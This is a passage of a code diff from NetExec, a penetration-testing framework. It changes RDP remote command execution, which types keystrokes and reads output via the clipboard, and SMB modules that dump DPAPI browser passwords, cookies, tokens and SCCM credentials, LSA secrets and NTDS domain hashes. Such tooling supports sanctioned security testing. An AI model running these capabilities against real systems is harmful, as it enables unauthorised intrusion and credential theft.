self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
self.conn = self._create_rdp_connection(self.auth)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Error connecting to RDP: {e!s}")
if "CredSSP" in str(e) or "STATUS_LOGON" in str(e):
self.logger.fail(f"Authentication failed: {e!s}")
await self.terminate_conn()
return None
try:
if get_output:
self.logger.success("Waiting for clipboard to be ready...")
clipboard_ready = False
await asyncio.sleep(self.args.cmd_delay)
timeout_counter = 0
while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): # Convert seconds to deciseconds
try:
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1)
if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY":
clipboard_ready = True
self.logger.debug("Clipboard is ready!")
break
except asyncio.TimeoutError:
timeout_counter += 1
continue
except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
self.logger.fail("Connection was reset by the remote host")
return ""
except Exception as e:
self.logger.debug(f"Error waiting for clipboard: {e!s}")
self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved")
return ""
if not clipboard_ready:
try:
await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay)
except TimeoutError:
self.logger.fail("Clipboard cannot be initialized, no output can be retrieved")
return ""
return None
# Wait for desktop to be available
await asyncio.sleep(self.args.cmd_delay)
await self._wait_for_desktop()
if get_output:
# On first RDP logon after boot, Explorer may not be ready to
# process Win+R immediately after the desktop appears. This
# no-op warmup command absorbs the race: if the shell isn't
# ready it silently fails, and the 3-second pause gives Explorer
# time to finish initialization before the real command.
await self._submit_typed_run_command(
"powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden "
'-Command "Add-Type -AssemblyName System.Windows.Forms"'
)
await asyncio.sleep(3)
if get_output:
try:
await self._submit_run_command(command)
except TimeoutError:
self.logger.fail(
"Remote session did not acknowledge the clipboard command data"
)
return None
else:
await self._submit_typed_run_command(command)
if not get_output:
await asyncio.sleep(self.args.cmd_delay)
self.logger.success("Executed command without retrieving output")
return None
try:
# Try to open Run dialog using Windows+R
self.logger.debug("Attempting to open Run dialog")
win_r_success = await self._send_win_r()
if win_r_success:
self.logger.debug(f"Launching {shell_type} via Run dialog")
await self._send_keystrokes(f"{shell_type}.exe")
await self._send_enter()
await asyncio.sleep(self.args.cmd_delay) # Wait for cmd window to open
else:
# Fallback: Try direct command typing (assumes cmd may already be open)
self.logger.debug(f"Sending {shell_type} command directly")
await self._send_keystrokes(f"{shell_type}.exe")
await self._send_enter()
await asyncio.sleep(self.args.cmd_delay)
# Type the command with | clip
self.logger.debug(f"Typing command: {payload_with_clip}")
await self._send_keystrokes(payload_with_clip)
await self._send_enter()
# Wait for command to execute
await asyncio.sleep(self.args.cmd_delay)
if get_output:
# Get the current clipboard text
self.logger.debug("Getting clipboard content...")
clipboard_text = await self.conn.get_current_clipboard_text()
if clipboard_text:
self.logger.debug("Command output retrieved from clipboard:")
for line in clipboard_text.lstrip().strip("\n").splitlines():
self.logger.highlight(line)
else:
self.logger.fail("Clipboard is empty or contains non-text data")
return clipboard_text
else:
self.logger.success("Executed command without retrieving output")
self.logger.debug("Command execution completed")
exit_code, output = await self._wait_for_command_result(marker)
except TimeoutError:
self.logger.fail("Timed out waiting for command output on the RDP clipboard")
return None
except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error during command execution: {e!s}")
self.logger.fail("Connection was reset by the remote host during command execution")
return None
except Exception as e:
self.logger.debug(f"Error during command execution: {e!s}")
if "cannot unpack non-iterable NoneType object" in str(e):
self.logger.fail("RDP connection was terminated unexpectedly")
else:
self.logger.fail(f"Command execution failed: {e!s}")
return None
if exit_code != 0:
self.logger.fail(f"Command completed with exit code {exit_code}")
if output:
for line in output.splitlines():
self.logger.highlight(line)
else:
self.logger.debug("Command completed without output")
return output
except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error: {e!s}")
@@ -559,37 +758,31 @@ class rdp(connection):
get_output = bool(not self.args.no_output)
self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds")
self.logger.success(f"Executing command: {payload}")
try:
result = asyncio.run(self.execute_shell(payload, get_output, shell_type))
if result:
if result is not None:
self.logger.debug("Command execution completed")
return result
except Exception as e:
self.logger.error(f"Command execution error: {e!s}")
if shell_type == "cmd":
self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution")
try:
return self.execute(payload, shell_type="powershell")
except Exception as e2:
self.logger.fail(f"Execute command failed, error: {e2!s}")
else:
self.logger.fail(f"Execute command failed, error: {e!s}")
self.logger.fail(f"Execute command failed, error: {e!s}")
def ps_execute(self):
self.execute(payload=self.args.ps_execute, shell_type="powershell")
async def screen(self):
try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
self.conn = self._create_rdp_connection(self.auth)
await self.connect_rdp()
await asyncio.sleep(5)
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
except Exception as e:
@@ -605,8 +798,9 @@ class rdp(connection):
for proto in self.protoflags_nla:
try:
self.iosettings.supported_protocols = proto
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
self.conn = self._create_rdp_connection(
self.auth, supported_protocols=proto
)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
@@ -617,7 +811,8 @@ class rdp(connection):
await asyncio.sleep(int(self.args.screentime))
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
return
+2 -2
View File
@@ -20,8 +20,8 @@ def proto_args(parser, parents):
cgroup = rdp_parser.add_argument_group("Command Execution")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Sleep time before executing command")
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization (seconds)")
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Delay before executing the command and before disconnecting with --no-output")
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization and command output")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
return parser
+117 -314
View File
@@ -6,14 +6,16 @@ import struct
import ipaddress
from pathlib import Path
from nxc.helpers.path import sanitize_filename
from nxc.helpers.path import sanitize_path_component
from Cryptodome.Hash import MD4
from textwrap import dedent
from nxc.helpers.misc import sanitize_dns
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED
from impacket.examples.secretsdump import (
LocalOperations,
RemoteOperations,
SAMHashes,
LSASecrets,
@@ -59,11 +61,11 @@ from impacket.smb3structs import (
from impacket.dcerpc.v5 import tsts as TSTS
from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
from nxc.connection import connection, sem, requires_admin
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string, validate_ntlm
from nxc.logger import NXCAdapter
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.paths import NXC_PATH
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket
from nxc.protocols.smb.wmiexec import WMIEXEC
from nxc.protocols.smb.atexec import TSCH_EXEC
@@ -76,17 +78,13 @@ from nxc.protocols.smb.samrfunc import SamrFunc
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.helpers.logger import highlight
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.dpapi import DPAPITriage
from nxc.helpers.rpc import NXCRPCConnection
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.misc import detect_if_ip
from nxc.protocols.ldap.resolution import LDAPResolution
from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.cng import CngTriage
from dploot.lib.target import Target
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.lib.network.smb import SMBTarget as Target
from time import time, ctime, sleep
from traceback import format_exc
@@ -139,12 +137,12 @@ class smb(connection):
self.nthash = ""
self.remote_ops = None
self.bootkey = None
self.dpapi_system_key = None
self.smbv1 = None # Check if SMBv1 is supported
self.smbv3 = None # Check if SMBv3 is supported
self.is_timed_out = False
self.signing = False
self.smb_share_name = smb_share_name
self.pvkbytes = None
self.no_da = None
self.no_ntlm = False
self.null_auth = False
@@ -154,6 +152,8 @@ class smb(connection):
self.tgt = None
self.tgs = None
self._dpapi_triage = None
connection.__init__(self, args, db, host)
def proto_logger(self):
@@ -211,16 +211,15 @@ class smb(connection):
# self.targetDomain is the attribute which gets displayed as host domain
if not self.no_ntlm:
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
dns_hostname = self.conn.getServerDNSHostName().upper()
dns_hostname = self.conn.getServerDNSHostName()
if dns_hostname and "." in dns_hostname:
self.hostname = dns_hostname.split(".")[0]
hostname = dns_hostname.split(".", 1)[0]
elif dns_hostname:
self.hostname = dns_hostname
hostname = dns_hostname
else:
self.hostname = self.conn.getServerName()
self.targetDomain = self.conn.getServerDNSDomainName()
if not self.targetDomain: # Not sure if that can even happen but now we are safe
self.targetDomain = self.hostname
hostname = self.conn.getServerName()
self.hostname = sanitize_dns(hostname, self.logger)
self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger)
else:
try:
# If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
@@ -895,17 +894,13 @@ class smb(connection):
session we already hold answers without enumerating every share (unlike
listShares). ACCESS_DENIED still proves the share exists, hence a DC.
Meant to run while the null session is still fresh. When there is no
session, the reason is decisive: a DC with NTLM enabled always accepts
the null bind, so "NTLM on + no null session" means this is NOT a DC.
Only "NTLM disabled" is inconclusive here (a real DC can refuse the null
bind then), so we hand that case off to the Kerberos tier.
Meant to run while the null session is still fresh. Without a session
this check is inconclusive: DCs can refuse the null bind (Server 2025
does by default, as does an NTLM-disabled DC), so we hand off to the
RPC/Kerberos tiers.
"""
if not self.null_auth:
if not self.no_ntlm:
self.logger.debug("NTLM enabled but no null session: host is not a DC")
return False
self.logger.debug("No null session (NTLM disabled): deferring to Kerberos")
self.logger.debug("No null session: SMB DC check inconclusive, deferring to RPC/Kerberos")
return None
try:
tid = self.conn.connectTree("SYSVOL")
@@ -1268,7 +1263,7 @@ class smb(connection):
self.logger.error("Could not get process list")
return
pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()]
pidList = [i.getProcessInfo()["UniqueProcessId"] for i in res if i.getProcessInfo()["ImageName"].getValue().lower() == self.args.taskkill.lower()]
if not pidList:
self.logger.fail(f"Could not find process named {self.args.taskkill}")
return
@@ -1382,12 +1377,12 @@ class smb(connection):
@requires_admin
def tasklist(self):
# Formats a row to be printed on screen
def format_row(procInfo):
def format_row(procInfo, pSid):
return template.format(
procInfo["ImageName"],
procInfo["UniqueProcessId"],
procInfo["SessionId"],
procInfo["pSid"],
str(procInfo["ImageName"].getValue()),
str(procInfo["UniqueProcessId"]),
str(procInfo["SessionId"]),
pSid,
f"{procInfo['WorkingSetSize'] // 1000:,} K",
)
@@ -1403,8 +1398,8 @@ class smb(connection):
if not res:
return
self.logger.success("Enumerated processes")
maxImageNameLen = max(len(i["ImageName"]) for i in res)
maxSidLen = max(len(i["pSid"]) for i in res)
maxImageNameLen = max(len(i.getProcessInfo()["ImageName"].getValue()) for i in res)
maxSidLen = max(len(i.getSid()) for i in res)
template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}"
self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage"))
self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", ""))
@@ -1415,12 +1410,12 @@ class smb(connection):
# If args.tasklist is not True then a process name was supplied
if self.args.tasklist is not True:
# So we look for it and print its information if found
if self.args.tasklist.lower() in procInfo["ImageName"].lower():
if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].getValue().lower():
found_task = True
self.logger.highlight(format_row(procInfo))
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
# Else, no process was supplied, we print the entire list of remote processes
else:
self.logger.highlight(format_row(procInfo))
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
# If a process was suppliad to args.tasklist and it was not found, we print a fail message
if self.args.tasklist is not True and not found_task:
@@ -1993,7 +1988,7 @@ class smb(connection):
try:
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout, self.logger)
if not flag or not stringBinding:
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
@@ -2170,10 +2165,10 @@ class smb(connection):
def get_file_single(self, remote_path, download_path, silent=False):
share_name = self.args.share
if self.args.append_host:
download_path = sanitize_path_component(f"{self.hostname}-{remote_path}")
if not silent:
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
if self.args.append_host:
download_path = f"{self.hostname}-{remote_path}"
with open(download_path, "wb+") as file:
if self.download_file(share_name, remote_path, file.write):
if not silent:
@@ -2206,10 +2201,18 @@ class smb(connection):
filtered_items = [item for item in items if item.get_longname() not in [".", ".."]]
# create local directory structure regardless of content; download empty folders by default
# change the Windows path to Linux and then join it with the base directory to get our actual save path
relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\"))
local_folder_path = os.path.join(dest, relative_path)
# Create a safe local directory structure while retaining the raw remote path for SMB.
try:
relative_path = ntpath.relpath(folder, base_dir or folder)
except ValueError:
relative_path = folder
relative_parts = [] if relative_path == "." else [sanitize_path_component(part) for part in relative_path.split("\\") if part]
local_folder_path = os.path.join(dest, *relative_parts)
destination_path = Path(dest).resolve()
resolved_folder = Path(local_folder_path).resolve()
if resolved_folder != destination_path and destination_path not in resolved_folder.parents:
self.logger.fail(f"Path traversal detected in '{folder}', skipping")
return
if not filtered_items and ignore_empty:
self.logger.debug(f"Skipping empty folder '{folder}'")
@@ -2221,22 +2224,20 @@ class smb(connection):
self.logger.display(f"Created empty directory '{local_folder_path}'")
for item in filtered_items:
item_name = sanitize_filename(item.get_longname())
if not item_name:
self.logger.fail(f"Path traversal detected in '{item.get_longname()}', skipping")
continue
dir_path = ntpath.normpath(ntpath.join(folder, item_name))
self.logger.debug(f"Parsing item: {item_name}, {dir_path}")
remote_item_name = item.get_longname()
item_name = sanitize_path_component(remote_item_name)
dir_path = ntpath.normpath(ntpath.join(folder, remote_item_name))
self.logger.debug(f"Parsing item: {remote_item_name!r}, {dir_path!r}")
if item.is_directory() and recursive:
self.logger.debug(f"Found new directory to parse: {dir_path}")
self.logger.debug(f"Found new directory to parse: {dir_path!r}")
self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty)
elif not item.is_directory():
remote_file_path = ntpath.join(folder, item_name)
remote_file_path = ntpath.join(folder, remote_item_name)
local_file_path = os.path.join(local_folder_path, item_name)
# Defense-in-depth: verify path stays under destination
resolved = Path(local_file_path).resolve()
if not str(resolved).startswith(str(Path(dest).resolve()) + os.sep):
if destination_path not in resolved.parents:
self.logger.fail(f"Path traversal detected in '{item_name}', skipping")
continue
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
@@ -2244,7 +2245,7 @@ class smb(connection):
try:
self.get_file_single(remote_file_path, local_file_path, silent)
except FileNotFoundError:
self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
self.logger.fail(f"Error downloading file '{remote_file_path!r}' due to file not found (probably a race condition between listing and downloading)")
def get_folder(self):
recursive = self.args.recursive
@@ -2328,255 +2329,32 @@ class smb(connection):
@requires_admin
def sccm(self):
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.hostname + "." + self.domain if self.kerberos else self.host,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
kdcHost=self.kdcHost,
dc_ip=self.kdcHost,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
)
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
if conn is None:
self.logger.debug("Could not upgrade connection")
return
masterkeys = collect_masterkeys_from_target(self, target, conn, user=False)
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}")
self.db.add_dpapi_secrets(
target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", )
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
self.dpapi_triage.triage_sccm()
@requires_admin
def dpapi(self):
dump_system = "nosystem" not in self.args.dpapi
if self.args.pvk is not None:
try:
with open(self.args.pvk, "rb") as f:
self.pvkbytes = f.read()
self.logger.success(f"Loading domain backupkey from {self.args.pvk}")
except Exception as e:
self.logger.fail(str(e))
if self.pvkbytes is None:
self.pvkbytes = get_domain_backup_key(self)
self.dpapi_triage.triage_dpapi()
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = Target.create(
domain=self.domain,
username=self.username,
password=self.password,
target=self.remoteName,
address=self.remoteName,
lmhash=self.lmhash,
nthash=self.nthash,
do_kerberos=self.kerberos,
kdcHost=self.kdcHost,
dc_ip=self.kdcHost,
aesKey=self.aesKey,
no_pass=True,
use_kcache=self.use_kcache,
)
self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # ruff: ignore[open-file-with-context-handler]
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
if conn is None:
self.logger.debug("Could not upgrade connection")
return
masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system)
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
if dump_system:
credentials_triage.triage_system_credentials()
except Exception as e:
self.logger.debug(f"Error while looting credentials: {e}")
dump_cookies = "cookies" in self.args.dpapi
cng_chromekey = None
try:
cng_triage = CngTriage(target=target, conn=conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
try:
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.logger.debug(f"Error while looting browsers: {e}")
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.logger.debug(f"Error while looting vaults: {e}")
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
self.db.add_dpapi_secrets(
target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.logger.highlight(line)
if self.output_file:
self.output_file.write(line + "\n")
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
if self.output_file:
self.output_file.close()
with open(self.output_file_template.format(output_folder="dpapi")) as f:
if sum(1 for _ in f) == 0:
self.logger.fail("No dpapi loot retrieved")
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
@requires_admin
def list_snapshots(self):
@@ -2593,13 +2371,21 @@ class smb(connection):
self.logger.highlight(f"{drive:<8}{i:<26}")
@requires_admin
def lsa(self):
def lsa(self, quiet=False):
try:
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))
def add_lsa_secret(secret):
add_lsa_secret.secrets += 1
self.logger.highlight(secret)
if "dpapi_machinekey" not in secret:
if not quiet:
self.logger.highlight(secret)
else:
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
if not quiet:
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
if "_SC_GMSA_{84A78B8C" in secret:
gmsa_id = secret.split("_")[4].split(":")[0]
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
@@ -2609,7 +2395,8 @@ class smb(connection):
ntlm_hash = MD4.new()
ntlm_hash.update(currentPassword)
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
if not quiet:
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
add_lsa_secret.secrets = 0
@@ -2629,13 +2416,15 @@ class smb(connection):
isRemote=True,
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
)
self.logger.display("Dumping LSA secrets")
if not quiet:
self.logger.display("Dumping LSA secrets")
self.output_filename = self.output_file_template.format(output_folder="lsa")
LSA.dumpCachedHashes()
LSA.exportCached(self.output_filename)
LSA.dumpSecrets()
LSA.exportSecrets(self.output_filename)
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
if not quiet:
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
try:
self.remote_ops.finish()
except Exception as e:
@@ -2650,13 +2439,15 @@ class smb(connection):
def ntds(self):
self.enable_remoteops()
is_remote = True
use_vss_method = False
NTDSFileName = None
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
printed_kerb_keys_banner = False
printed_trust_keys_banner = False
def add_hash(secret_type, secret, host_id):
nonlocal printed_kerb_keys_banner
nonlocal printed_kerb_keys_banner, printed_trust_keys_banner
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
self.logger.display("Kerberos keys:")
printed_kerb_keys_banner = True
@@ -2667,13 +2458,15 @@ class smb(connection):
else:
add_hash.nt_lm_secrets += 1
# Log the secret based on args
if self.args.enabled:
if "Enabled" in secret:
secret = " ".join(secret.split(" ")[:-1])
self.logger.highlight(secret)
else:
secret = " ".join(secret.split(" ")[:-1]) if " " in secret else secret
is_enabled_account = secret.endswith(" (status=Enabled)")
is_trust_key = " (Incoming" in secret or " (Outgoing" in secret
for status in (" (status=Enabled)", " (status=Disabled)", " (status=N/A)"):
secret = secret.removesuffix(status)
if not self.args.enabled or is_enabled_account or is_trust_key:
if is_trust_key and not printed_trust_keys_banner:
self.logger.display("Trust keys:")
printed_trust_keys_banner = True
self.logger.highlight(secret)
# Filter out computer accounts, history hashes and kerberos keys for adding to db
@@ -2701,20 +2494,21 @@ class smb(connection):
add_hash.kerb_secrets = 0
add_hash.added_to_db = 0
if self.remote_ops:
try:
if self.args.ntds == "vss":
NTDSFileName = self.remote_ops.saveNTDS()
use_vss_method = True
except Exception as e:
self.logger.fail(e)
if self.args.ntds == "vss":
use_vss_method = True
is_remote = False
output_folder = os.path.abspath(os.path.join(NXC_PATH, "logs", "ntds", sanitize_path_component(self.hostname)))
os.makedirs(output_folder, exist_ok=True)
sam_path, system_path, security_path, NTDSFileName = self.remote_ops.createSSandDownloadWMI("C:\\", output_folder, NTDS=True)
localOps = LocalOperations(system_path)
self.bootkey = localOps.getBootKey()
self.output_filename = self.output_file_template.format(output_folder="ntds")
NTDS = NTDSHashes(
NTDSFileName,
self.bootkey,
isRemote=True,
isRemote=is_remote,
history=self.args.history,
noLMHash=True,
remoteOps=self.remote_ops,
@@ -2725,18 +2519,27 @@ class smb(connection):
outputFileName=self.output_filename,
justUser=self.args.userntds if self.args.userntds else None,
printUserStatus=True,
trustKeys=self.args.trust_keys,
justTrustKeys=self.args.just_trust_keys,
domainFQDN=self.targetDomain,
perSecretCallback=lambda secret_type, secret: add_hash(secret_type, secret, host_id),
)
try:
self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...")
if self.args.just_trust_keys:
